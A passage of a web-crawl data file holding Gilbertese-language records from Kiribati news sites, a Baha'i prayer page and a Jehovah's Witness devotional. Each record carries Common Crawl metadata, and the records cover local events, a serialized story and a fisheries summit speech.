miia….","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/kiribatiupdates.com.ki\/2016\/10\/11\/1839\/","date":"2017-11-23T09:14:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806768.19\/warc\/CC-MAIN-20171123085338-20171123105338-00734.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":423,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.433,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by online editor\nE a uki ana bong te Fisheries.\nE rebwe te turam man te Police brassband ao a waaki ni mwaati ma iaan te supermall nakon te Bairiki tikuea kaain te Fisheries ni mwangana aika a kakaokoro ni kaotia nakon te botanaomata bwa man te bong aio ao ea uki ana bong ni kaotibwai ao ni kaongora ae kakawaki nakon te botanaomata n te wiki aio.\nE taekinna n ana maroro Hon Tetabo Nakara bwa n te ririki aio ao ai te ka-7 n tai ni karaoaki ae ai aron aio n te ririki aei ma te boto n iango ae kangai; \"Ara reita ni waaki ao n tiatiana kabonganan marin marawa ibukin rikirakera.\" E reitia n taekinna Hon Tetabo Nakara nakoia irua ake a roko ni kakoaua te tai anne bwa ana tabo ni mwakuri e bekutata ni kakoroi kanoan miin te tautaeka man karekean arora man ara marawa ao n reitinako n teimatoa n tararuaia ibukia natira ao tibura nakon taai aika ana roko.\nE kamatoa n ana maroro nakoia irua ake a roko ni kakoaua te bong anne bwa ana rabwata aika 7 mwaitina n aron FD, LCD, PDD, CA, MD ao ai te ITD ngaia aika a bwaka maonoia ni uarokoia nakon ana KV20 ke ana kanoan mii te tautaeka n te ririki aio. Tiaki ti ngaia ma kambwana ake a mena iaan ana tabo ni mwakuri Hon Tetabo Nakara man te Botaki n Akawa aika 4 mwaitia bwa te Eco Farm, CPPL, KFL ao ai te Atinimarawa ngaia naba aika a korakora aia beku ao boutoka nakon te tautaeka ma te botanaomata ni kakoroan ana kanoani mii te tautaeka ae ngkai.\nE reitia riki ni katanoata mwin ana bekutata ao ni kakoroi ana kainibaire te tautaeka aika e raka iaon tebwina mwaitia.\nKanoan te bong anne e bon raonaki ma te kamataku irouia kairaken Betio rimarenan te tai, ma te katawanou ao man waaki te neweaba n ana mwanga nako te tabo ni mwakuri aio.\nBon uabong kanoan ana kaongora ao ni kaotibwai te Tabo n Akawa aio ao tebong are imwina e karaoaki te kabo n te kuka irouuia aomata ao bitineti ake a kabaei araia nakon bukamaruan te bong ae kakawaki aio.","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/kiribatiupdates.com.ki\/2017\/11\/11\/e-a-uki-ana-bong-te-fisheries\/","date":"2017-11-23T09:22:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806768.19\/warc\/CC-MAIN-20171123085338-20171123105338-00669.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":369,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.398,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE MARE\nKo kamimitongaki, Ngkoe Atuau! Ni koaua, bon Am toro aei ao Am toro naba te aine aei, ake a tia ni ikotaki i aan nuun Am atataiaomata ao ni katiteuanaaki rinanon Nanom ao Am moamoaaomata. Te Uea! Buokiia i nanon te aonaaba aei ao n Abanueam ni karekei nakoiia baikaa a raraoi man Am kakabwaia ao Am raoiroi. Te Uea! Kateimatoaiia i nanon aia beku i Bukim ao buokiia n aia beku i Bukim.\nKarikiia bwa kanikinaean Aram n Am aonaaba ao kawakiniia rinanon Am tituaraoi aika a akea tiaia n te maiu aei ao are e na roko. Te Uea! A bubutii nakon Abanuean Am atataiaomata ao ni bubutii nakon Abanuean Arom ae ti teuana. Ni koaua, a bon mare n ongeaba nakon Am moti.\nKarikiia bwa a na riki bwa kanikinaaean te rau ma te katiteuana ni karokoa tokin tai. Ni koaua, Boni Ngkoe ae Moan te Mwaaka, Ko mena n taabo ni kabane ao Moan te Kakannato.\n\n\nTe Auti << Ae Rimoa Ae Kan Riki >> Te Ao","id":"","dump":"CC-MAIN-2017-47","url":"http:\/\/www.bahaiprayers.org\/kiribati\/7.htm","date":"2017-11-21T22:51:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806438.11\/warc\/CC-MAIN-20171121223707-20171122003707-00218.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":171,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.374,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by Online editor.\nA katautauaki kautun te botaki n tikauti i tinaniku bwa ana kawarawa te botaki n tikauti i Kiribati n te bong aio te kabong 17th November 2016.\nN aron are e oti n ana kainibaire te botaki n tikauti ma i Kiribati ai JR C Pangilinan ma te terekita S Prassana Shrivastava ana toua tanon maraen Bonriki nakon te ingabong iaiobaon baoia te Fiji air n te kiba ae FJ231.\nIrua aikai ana bon karoko iroun kautun te tsutaeka ao ni bon karekea naba aia tai ni kaitibo ma ana rabwata n tararua te tikauti iaon Kiribati.\nAna kitana Kiribati nakon te wiki ae na roko 20 n November 2016.","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/kiribatiupdates.com.ki\/2016\/11\/17\/a-roko-i-tarawa-ana-aobitia-te-tikauti-ma-i-tinaniku\/","date":"2017-11-23T09:08:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806768.19\/warc\/CC-MAIN-20171123085338-20171123105338-00030.warc.gz","language":"gil","language_score":1.0000050068,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000050067901611}","num_words":110,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.391,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"By Online editor.\nE nang manga nako kain te wareware nakon te kauoau ni karaki are e karioaki ao man koreaki iroun ara tia koro karaki ae Iaareto Kabunare.\nIai tamaroan te wareware nakon tabeua karakia ke a koreaki bon irouia ara aomata iaon Kiribati bwa tabeman a taku bwa e korakora reireiakia man te moan karaki are E taenoa te tangira. Iai naba aika a bwaeta nanoia bwa e bon karoko nano ao man kanonakwaki te karaki anne. Temanna e taekinna bwa a reke tabeua reireiakia iai ao man reke naba aia taetae n Ikirbati ma iai.\nN raonaki ma anne ao e taekinna te tia korokaraki aio ngke e maroro ao man reitaki ma Kiribati Updates bwa e kukurie nanona n ongora ae e rawtaa aika a wareka te karaki ao ikaia re e anganaki iai ungfa n nano bwa e na waakinako ni koro karaki. E reitia riki man taekjinna bwa iai aika 3 ake a bonkaai ni koreaki ao iaon kawaia naba ni abne.\nIrarikin anne ao e anaga ana kaunga nano nakoia ara botan aoamta riki te rikirake bwa ana kamanena aia tai ni koro karaki ngkana e reke aia tai. E anga ana taeka ni kaunga bwa n te moantai aoa e bae teutana aron iangoana ma koreana ma rimwi ao kanga e a bon butiraoi ao man marannako aroan te korokaraki iai.","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/kiribatiupdates.com.ki\/2014\/08\/29\/e-tebera-matana-te-baitari-iroun-iaareto-kabunare\/","date":"2017-11-23T09:17:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806768.19\/warc\/CC-MAIN-20171123085338-20171123105338-00128.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":228,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.203,"stopwords_ratio":0.39,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"By Onine editor.\nE otinako n te bong aio ana bebwa ni kaongora te Kiribati Updates ike anga bwanaia uoman taan tei nakon te botanaomata ibukin te kangaanaga e riki nakon Kiribati n te wiki aio.kanimabong 13\/3\/2015.\nkam kona ni wareka aio iaon ami bewba n te wiki aio ma raona aika a rangin oro naba n aron aikai:\n- bwaninin rongorngon ana urubwai te nao ma te ang iaon Kiribati.\n- temanna te aine i tinaniku are e kamwarakeaki irouia kaain te IS ngke e rimwin natina are e bua…ko kan ataia bwa tera kanana? oops! warekia ngkai.\n- Am karaki ma iaon Aisokula e a roko ni kabaneana ngkai ao bareiko warekia ao man kaingainga nanon bwa tera tokina, anne iroun Iaareto Kabunare. Ao ena manga toka naba ae boou ao man rangi ni kakaongora man katekenano nakon te wiki ae na roko.\n- ibukimi ngkami ataei ao bon iai nab ami karaki are reitan are n te wiki ae nako..e rangi n tikiraoi iukimi.\n- Ko a tia ngare ke ko tuai? Ngkana ko aki kona ni ngare ao kataira bwa ti na ikaikaiko ni kangareko n ara karaki ni akngare.\n- rongorongon abara aika a riaon te kakaongora ao man koaua raoi bwa abon riki iaon Kiribati.,,updtaes kee?\n- Iai naba rongorongo man Te Betebeke ao te aonaba are e na kaborauko nako aban te aonaba ae bwanin.\n- ao a mwaiti kurikuri riki.\n- Waekoa ngkai kabooi ami bebwa man titoa ake ko uakaan ma ngaia ao ake a rereke naba iai ami bebwa.\nti katokai bebwa man i Betio nako Buota ao Temwaiku. Ngkana iai am karaki ae ko kitanaki iai ao reitakima ngaira bwa ti na katauraoia ibukimi.\nc\/-Tabonkabwauea, Bairiki Tarawa. ring 21063 or email firstname.lastname@example.org n te tai moa aio.\nKam rabwa ao tekeraoi ami Kanimabong ae 13th March 2015.","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/kiribatiupdates.com.ki\/2015\/03\/13\/e-anga-bwanaana-sir-ieremia-tabai-ao-mp-iotebwa-redfern-n-te-tai-ni-kangaanag-aio\/","date":"2017-11-23T09:14:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806768.19\/warc\/CC-MAIN-20171123085338-20171123105338-00049.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":296,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.328,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"BY Online editor.\nKanoan te kaembein irouia taan kan rineaki nakon ana auti ni mwaneaba Kiribati irarikin te koaua are ana kataia ni kaotia nakoia kaain aia tabo ke taan rinerine bon te angabwai n tangira ke n anai nano n aron te nagkona, te mwane ke kakaean mwanenankin waaki ni karikirake tabeua ake ana kona ni mautoo iai taan rinerine ao tabeua riki.\nTe kaembein iaon Kiribati ni kabotauaki ma te aonaba e bon korakora kaokorona bwa n aban tinaniku aika a rawata ao a mwananga taan kan rineaki nakon taabo n taetae nakoia aomata n te tabo are anga araia iai bwa a kan riki bwa taan tei ibukia ao man kauaba aia iango aika a raraoi bwa bukin tera a kan tia tei, aio n akea te angabwai ke te mwane nakoia taan rineirne n aia kaawa. A kona n taetae iaon tamaroan ke buakakan te tautaeka are e tei n te tai anne ao ni manga kaekai titiraki ma irouia aomata iaan aia koaua.\nN te tai aio ao anne kanga te waaki imwain are a kabaeaki ke ni kamatoaki iai taan kan rineaki nakon te auti n tei iaon Kiribati.E reitia riki n taekinna te tia tei aio bwa e akea anganakin temanna ma temanna inaomatana n rinerine n aki waeaki ke ni matara imwin anganakina bwaai n tangira.\nMa a taekinna tabemwang ake aki nano teuana ma te iango aio bwa te kaembein ke anganakia aomata bwaai n tangira imwain raoi te tai are e a kamatoaki iai araia taan kan rineaki e bon eti iaan te tua kioina ngkai e bon aki mwaneweaki taai akanne bwa e tabuaki.\nE ngae n anne ao bon iai naba ngkai ibuakoia taan kan rineaki iaon Tarawa ake aki anga bwaai n tangira n aron te mwane ao te nangkona inanon aia tai ni buti ni kaembein ni kaokoro ma raoia naba ni kan riki n tia tei ake a waaki ni kaebein ao man anga bwai n tangira.\nTe rinerine nakon te auti n tei n te ririki aio ena waaki nakon raa banen te namwakaina ae Ritembwa 2015. Iai ruaman kaain TUC ake a buti ni kaembein ao man kan rineaki nakon te auti n tei ao iai nakon ruaman man te BTC, e taui matoa raoi te mwaiti aio.","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/kiribatiupdates.com.ki\/2015\/10\/23\/e-bitaki-tein-te-kaembein-iaon-kiribati\/","date":"2017-11-23T09:13:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806768.19\/warc\/CC-MAIN-20171123085338-20171123105338-00387.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":384,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.346,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by Online editor\nBy Mataiti Bwebwe\/ku reporter.\nE a reke riki te kabaia nakoia aomata ake a kunea kawaran Aneieta Pharmacy ni karekei iai aia bwain aoraki bwa te kanganga bon te tamarake ma n te tai aio ngke e kauka ana mataroa te kambwana aio iaon tano ao ai bon akea ngkai te kanganga nakoia aomata nako.\nN te bong ae te Kauabong 24\/10 n te ingabong ao ea uki ana mataroa te kambwana aio nakoia te botanaomata imwin karaoan te kaukuki ae uarereke nakoia ana irua ao ana katitamwa. E taekinna Dr Takeieta Kienene n ana maroro bwa katean ana karikirake aio n te moan tai Tebetemba 2015 ao e kakoaua ae bon iai kainanoakina irouia te botanaomata bwa aomata a bon roko naba ni karekeri aia bwai n aoraki irouia e ngae ngke ai tibwa tabeua te aoa n uki. Ni boong ake imwina ao e aki toki te roko ni karekeaki bwaai n aoraki n aekaia nako riki ake aki kona n reke n te kiriniki ke n te Oanaoraki are I nawereweere ma Betio.\nE taekinna riki bwa bwain aoraki aikai bon akea te kararaoma iai bwa a bon bane n raraoi, koraakora ao man tamaroa, quality nakoia aomata.\nA karariaiakaki irua ao katitamwa n neweaba nanona imwin te matamtam ao man kona naba ni karekei aia bwa man teuana te koona aika ekea booia.\nE taekinna temanna ana katitamwa Aneieta Pharmacy bwa bon ake araraomana ni bwaai n aoraki man te store aio ao aei nneu ni kakarekei au bwai n aoraki ngkana iai te aoraki. Ma e taekinna naba Dr Takeieta Kienene nakon Kiribati Updates bwa n ana ruu ae onoti ao e kona ni karaoi mwakuri ni korokoro ao n tutuo iai n aron te koro bero, tuoaia tioka ao rietaata n rara, ikoaki n aekaia nako, tuoan te mata, te taninga ao a mwaiti kurikuri riki. E kamatoa n taekinna nakon Kiribati Updates bwa akea ana raraoma n ana bwai n aoraki aika a mwaiti aekakia bwa a bon boou reirei ao man korakora nakon te taoraki teuana ma teuana.\nE na bon tiku naba ana tai ni kiriniki are te Katenibong ao Kaonobong ni katoa wiki ao nikiran te bong bon karaoan te kiriniki nakoia aomata ibukin karekean aia bwai n aoraki na ekaia nako ake aki tangira ana ibuobuoki te taokita.\nAio ana maroro Dr Takeieta Kienene n tai nana kaukuki n aia tabo ae boou inano.","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/kiribatiupdates.com.ki\/2017\/10\/25\/e-kaukaki-aneieta-pharmacy-n-ana-tabo-ae-boou-inano-n-te-supermall\/","date":"2017-11-23T09:18:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806768.19\/warc\/CC-MAIN-20171123085338-20171123105338-00301.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":406,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.204,"stopwords_ratio":0.374,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E raoiroi riki te taotaonakinnano.\nE bae n iai taai ake ti kainnanoa iai te taotaonakinnano, n te waaki ae boou i aon te aba. N te katoto, ti na bae n ongo kukureia naake a a tia ni kautaki aia koraki ao raoraoia man te mate. Ma ti bon riai ngaira n tataningaa kautakia ara utu man te mate. Ngkana anne te bae e na riki, ti kona ni kimwareirei ma tabeman ao n taotaonakinnano? (Ro 12:15) Reiakinan te kakantaninga ma te taotaonakinnano ibukini kakoroan ana berita nako Iehova ngkai, e na buokira ni kaotiota te taotaonakinnano rimwi. Ti kona naba ni katauraoira ibukin te maiu n te aonnaba ae boou, mani bwainan te taotaonakinnano ni kaineti ma kaotan te koaua. Ti nenera raoi te koaua man te Baibara ao n taotaonakinnano ngkana e a kaotaaki riki te ota iai teutana imwin teutana, ni boong aikai? Ngkana ngaia anne, e na bae n akea ara kangaanga ni kaotiotan te taotaonakinnano n te aonnaba ae boou, kioina ngkai e a tia Iehova n anga ana kaetieti nakoia te botannaomata.\nRota kororaoin ikawain te Kristo.\nE koroboki te abotoro Bauro ibukia Kristian i Ebeto bwa a na ikawai n te onimaki. E kaungaia bwa a na uaiakina \"[karekean] te katiteuanaaki n te onimaki ao n te atatai ae eti ibukin Natin te Atua, n riki bwa ai aron te aomata ae ikawai raoi ao n rota kororaoin ikawain te Kristo.\" (Ebt 4:13) E a kaman tei te ekaretia i Ebeto n ririki aika bati ngke e kororeta Bauro nakoia. A bati taan rimwini Kristo iai ake a a kaman ikawai n te onimaki. Ma iai tabeman ake a teimatoa ni kainnanoa uaiakinan te ikawai n te onimaki. E noraki anne naba i buakoia Ana Tia Kakoaua Iehova n taai aikai. A bati taari mwaane ao aine ake a a maan ni beku iroun te Atua, ao a a rikirake n ikawai n te onimaki. Ma ni koauana, iai aika a aki roko n tiaia anne. N te katoto, a bwabetitoaki nga ma nga aika boou ni katoa ririki, ngaia are iai tabeman aika teimatoa ni kainnanoa uaiakinan te ikawai n te onimaki. Ma tera arom iai?\nE manena teutana te kamarurung n te rabwata.\nA bati ake a taku bwa e totokoa te aoraki ao e kamarurunga te rabwata ao te iango, te kamarurung ni katoabong ngkana e katoatai karaoana. Ngkana ti kani karaoa te kamarurung n te kurubu, ti riai n ira buakona? Ti tuangaki ae kangai n Taeka N Rabakau 13:20: \"Ane e nakonako ma akana wanawana ao e na wanawana, ma e na rotakibuaka ane e irekereke ma akana nanobaba.\" E aki ngkanne nanonaki n aei bwa ti riai n ira mataniwin nanora ae kataneiaaki n te Baibara ibukin rinean ara kaokirii? Ti riai naba n titirakinira bwa n ningai ae ti na kaokirii iai. Ko bairea am kaokirii n taai ake a baireaki iai mwakuri ibukin Iehova n aroni bobotaki n taromauri, te mwakuri ni minita, ao am reirei n te Baibara i bon iroum? Ke ko kataia ni karini mwakuri akanne i buakon taai ni kaokirii? Baikara bwaai aika moanibwai iroum? E taku Iesu: \"Mangaia are teimatoa n ukoukora moa ana Tautaeka n Uea te Atua ma ana raoiroi, ao a na karekeaki baikai nakoimi.\" (Mt 6:33) E kauringko mataniwin nanom bwa ko na iangoi baika kakawaki, aika n ana taeka n reirei Iesu? w15 15\/9 2:13, 15","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/wol.jw.org\/gil\/wol\/h\/r178\/lp-gb","date":"2017-11-19T21:09:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934805809.59\/warc\/CC-MAIN-20171119210640-20171119230640-00478.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":565,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.448,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"oti taai n te bong are imwiina, ao a bon maroro bwatintia ma te\nkaaben ma te kukurei ae bati bwa ai tibwa te moan tai iaon aia kaibuke\nae bungiaki iai te ataeinaine. E a boo te kanabuaka irouia bwatintia\nkaimoan te kaibuke ni kabane. I mwain te roko i Tarawa, ao a\nkauringaki bwatintia bwa e na roko te kaibuke n te bwakantaai.\nE bon tabe ni uouota natina teuare Teniteka ao e inga nakoina man\nMaroro ma tinan te ataei. E rang kukurei bwa are e a riki bwa ai te karo\nAo e maroro ma tinan te ataeinaine. E taku nakon Nei Tinika, \"Neiko\nE bon katotongko natim aio\" E ngare Nei Tinika man karini oneana\nimwain te bwakarake. \"A kume n anene kaimoa n te kitaa ma te ikurere\n\"Ai kakukureira te tiku iaon abara, abara ae tangiraki ae Betio.\"\nA kume n anene roronga ao e a rororake te Aratoba inanon te taoke\ni Betio, a kabaeaaki roobu nako bukin te uabu ao nako moa.\nNei Tinika, noria, I a uota te ataei, ao ngkoe ko na taningaai iaon\nte uabu bwa N na urakin bwaai aika kiera ma bwaai riki tabeua. E a\nkaan boo te bwi ma teuana, are ti na toka n te meeri nako Bairiki.\nTi a toka n te meeri, ao matau e tarataranako ni kan noora te aomata.\nN na noora moa te aomata are I a tia n tuangko are bura akiako arei.\nbwa ti na noria bwa e rawa ni kaoti ikai ao e karika te kanganga nakoira.\nIai te kaa are e na nako Bikenibeu ningabong, ma ti a tokaria naba nakoia au karo ma tinau ikekei. Kam maeka iaa? Ti maeka irarikin te power house are mai meaangina.\nI uringa raoi bwa ngke I moan roko ikai, ao I bon mena ngkoe irarikin taari, mai tanrake.\nI a tia ngkoe ni mamaeka i Bairiki, ma I a kitanna ngke a mate tibu ikekei\nI bon tataneiai n reirei n te Primary i Bairiki ao au tia reirei, bon te I-Ereti are arana Melitiana, e rang unuun.\nNgkai I a ikawai ao I pass nako Taborio, ma I aki nakon te reirei ikekei bwa I a mwakuri naba iroun te mataniwi ae arana Mr Mahoney ae mataniwin te Uaereti (Telcom.)\nE a roko te meeri ae arana Tearinibai, ao ti a toka iai nako Bairiki.\nTi a tiku naba i Tabonikabauea iroun ai taman Teniteka ae arana Teiranau ae kawakiniia buure ikekei.\nTi utimwaaka nako tabon te uabau man tataninga te truck are na mwananga nako Bikenibeu ae kabutia teuare Maurintetaake.\nTi roko i Bikenibeu ao ti a nako ni kawaria ana Karoo neie Tinika.\nAi bon te kuba irouia bwa a bon aki kantaningaia bwa e maiu natiia ao a mimi n noria ma natina ae te botonaine.\nA titiraki, neiko buum aio?\nEng.\nAi tikiraoira natim.\nKai eng ao ai rarabwara naba teuare i Karawa.\nE a kaongora neie Tinika aron baika riki, ao e a bon un taman neiei.\n\"Bwa e aera ko a birinako naba ao ko aki tuangai bwa ti na kawariia bureitiman.\nE kaeka Tinika, ao e taku, e raoiroi riki bwa e kaawa taekan natiu iai.\nBon tii ngkami ngkai ae kam ataia ao ngaira ao akea riki. E riai ni mabu taekan aio ao akea riki maroroakinana irarikin ae ti ataia.\nE a buta nako taekan rokoia nakai, ao e bon ongo naba Ten Tirioa.\nN te tai teuana ao e nako teuae Tirioa ni bobwai n te titoa, ao e kabooa te burawa teaina te baeki ao teaina te tioka, ao tabeua riki bwaai aika e kabooi. E bon bobwai naba teuae Teniteka bwa e kabooa aia kanabuaka te iriko ma bwaai riki tabeua.\nE noora Tirioa bwa e uarakin ana bwai nakon ana bwatika teuae Teniteka ao e a buokia ni katokai ana bwai, e a bon titiraki Teniteka.\"Nao ko a bon iangoa te bwakaukau n te kariki? E ngare Tirioa ao e taku, Nao ara kanabuaka bwa butimwaean natiu te aine ae tibwa roko mai aonaba.\nAo ngkoe tera ae ko a iangoia, bwa I kabooa naba ara kanabuaka ibukin natiu te aine ae tibwa bung imwain ngkoananoa. Eng? Eng Ngaia titebo bukin ara bobwai ke. A toka ana bwai Tirioa ao e buokia Teniteka. E taku teuare Teniteka Nao, Tekeraoi natim!. E kaeka Tirioa, ao ngkoe ke e tekeraoi naba natim ane tibwa bung anne. Ko rarabwa n am buobuoki.\nA bon uaia ni kukurei naka mwane aika uoman aikai, ma a aki ataia ae a bobwai ibukin tii temanna te ataeinaine bwa Nei Aratoba. E roko ni mwengana teuare Tirioa, ao e karakin bwaai nakon kaain abana ae Nei Taari. Ao ngke e oki teuare Teniteka e karakin bwaai nakon buuna are Nei Tinika. E a titiraki neie Tinika man taku kangaara tein te mwane ane ko buokia anne? E kaeka Teniteka, te mwane ae mamai ae kai abwaki ao e aki bati ni bubura ao e roroo iran atuna ao tamnein te ikare iaon bwabwana. Te ikare iaon bwabwana? Eng bwa e aera? Te mwane ae kiariari? Eng bwa ko kina? I kina bwa ngaia teuare Tirioa. E aki un nakoim? E aki bwa e kukurei ngke I buoka ana burawa ni katoka?\nAo kam uaia ni katekeraoa tii temanna te ataeinaine? Eng kai are I aki kina te mwane anne ma ngkana ngaia ane ko tuangai anne ao ae I a kina.\nI butiko ma tararuaiko mai irouna bwa e rawa ni kamwaruako.\nEng e raoiroi ane ko taku ma I taku bwa e a kan aki un nakoiu bwa are I a tia ni buokia. I butiko ko riai ni karaurau.\nA Kaman moan taai ni matu te tanga aio ma natiia ae Nei Aratoba.\nN te namwakaina ae 21 February 1935, ao akea bwa e a bukamaruaki ana koro n ririki neiei Nei Aratoba.\nE nako teuae Teniteka nakon te titoa, ao e a bobwai. Ngke tabe ni bobwai, ao e a manga kaoti te aomata are buokia are Tirioa, moan te kuba Teniteka bwa e a ongo naba bwanan Tirioa, \"Nao ko na mauri,\nAh aha Ko na mauri, kanga e nako nanona teutana imwin tian kaongoakina.\nE a titiraki te aomata arei nakoina, Nao kai ai bon te bobwai iroum ae bati, iai ami botaki? Eh eng iai. Ao tera ami botaki anne? Te koro n ririki. Te koro n ririki? Ao ngkoe ko aera ngkai ko roko ko bobwai naba?\nEng bwa ko ataia I kaninganinga naba ibukin natiu ae na koro n ririki n te bong aei. Eng? Eng. Ngke tabe ni urakin ana bwai Teniteka, ao e a manga buokia naba teuae Tirioa e katokai bwaai n te bwatika.\nNgke a bane ana bwai ao e a bon kaitau nakon te mwaane ae buokia aio.\nE a okira mwengana, ao e a bon manga karakina naba te bwai are riki arei. E a bon tabetabe nanon Nei Tinika, ao e a rairaki man taetae nakon kaain abana, ma ai akea bwa e a ienikuri teuae Teniteka nakon te titoa man kabooi tabeua taian kaen ni VB bwa e nang bukamarua ana bong natina. E aki tabwara ma e a kateitei naba ao tokina e a bon reuare naba. E nakonako ao e a okira ana auti ao e a boo ma temanna te aomata ae kanga e iowawa, ngke e a ti oro naba te aomata arei ao e a bon teke bwaka naba Teniteka, e kataia ni kan teirake, ma e matoatoa bwa e na kanga ao are e kiri tatanoi imwin oreakina. E a manga nako naba kaina iroun te aomata arei ao e a bon wene Teniteka ni kataninga bwa tera riki ae nang manga riki nakoina. Ngke bon tabe ni wene, ao e a mimi naba ngke ongo te rebwe, ao e a bwaka naba te aomata irarikina, man wene naba n aiarona. E kuba ngke e tauaki baina ao e kauabaiaki man titirakinaki iroun te aomata arei. \"Nao ko a kanga ni manga roko ikai ao n reke n te aekaki ni kanganga aio? Ngke e tarai matan te aomata arei Teniteka, ao ai manga bon te aomata are boo ma ngaia n te titoa. Enga am auti? Nao ko rabwa I a bon kona n nakon au tabo. Eng? Ko rabwa.\nNgke e a roko n ana auti, ao e a bon tarai matan buuna aika taonako ranimatana. \"Ko nako ni manging?\" Ko aki iangoa natim ao am botaki?\"\nAm karaki\noti taai n te bong are imwiina, ao a bon maroro bwatintia ma te","id":"","dump":"CC-MAIN-2017-51","url":"https:\/\/kiribatiupdates.com.ki\/2017\/11\/23\/am-karaki\/","date":"2017-12-11T21:13:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948514051.18\/warc\/CC-MAIN-20171211203107-20171211223107-00654.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1436,"character_repetition_ratio":0.047,"word_repetition_ratio":0.007,"special_characters_ratio":0.228,"stopwords_ratio":0.394,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by online editor.\nTaeka ni Kaukuki Coastal Fisheries Summit Tobwan-raoi Marin Marawan Nanoan Abamakoro ibukin Kaubwaira\nSanto Ioteba Center Bikenibeu, South Tarawa 23 October 2017\nTe Beretitenti ae ko rine ma kainabam Teirang Mamau, Kauoman ni Beretitenti ma kainabam, Raou n Minita ma kainabami, Speaker ma kainabam, Chief Justice ma kainabam, Tani Koroboki, AG ma kainabam, Diplomatic Corp, Mayors ao Clerks mai Makin nako Arorae ni ikotaki ma Banaba, Tani Mwakuri ake kam mena irarikira Invited Participants from Abroad, ao Ai bon Raora ni kabane\nI kan rimoa moa n anga au taeka ni kamauri nakoimi ni kabane n tamaroan te\ningabong ae raoiroi ae ti mena i nanona aio: KAM NA BANE NI MAURI!\nMoan te kukurei nanou ngkai e kona n reke au tai n anga au taeka tabeua, riki ngkai\nbon te moan tetere ni maroro aio iaon 'Marin marawan nanoan Abamakoro ibukia\nkain te aono ae Makin nako Arorae ma Banaba'.\nIbukin ami rongorongo ao e a 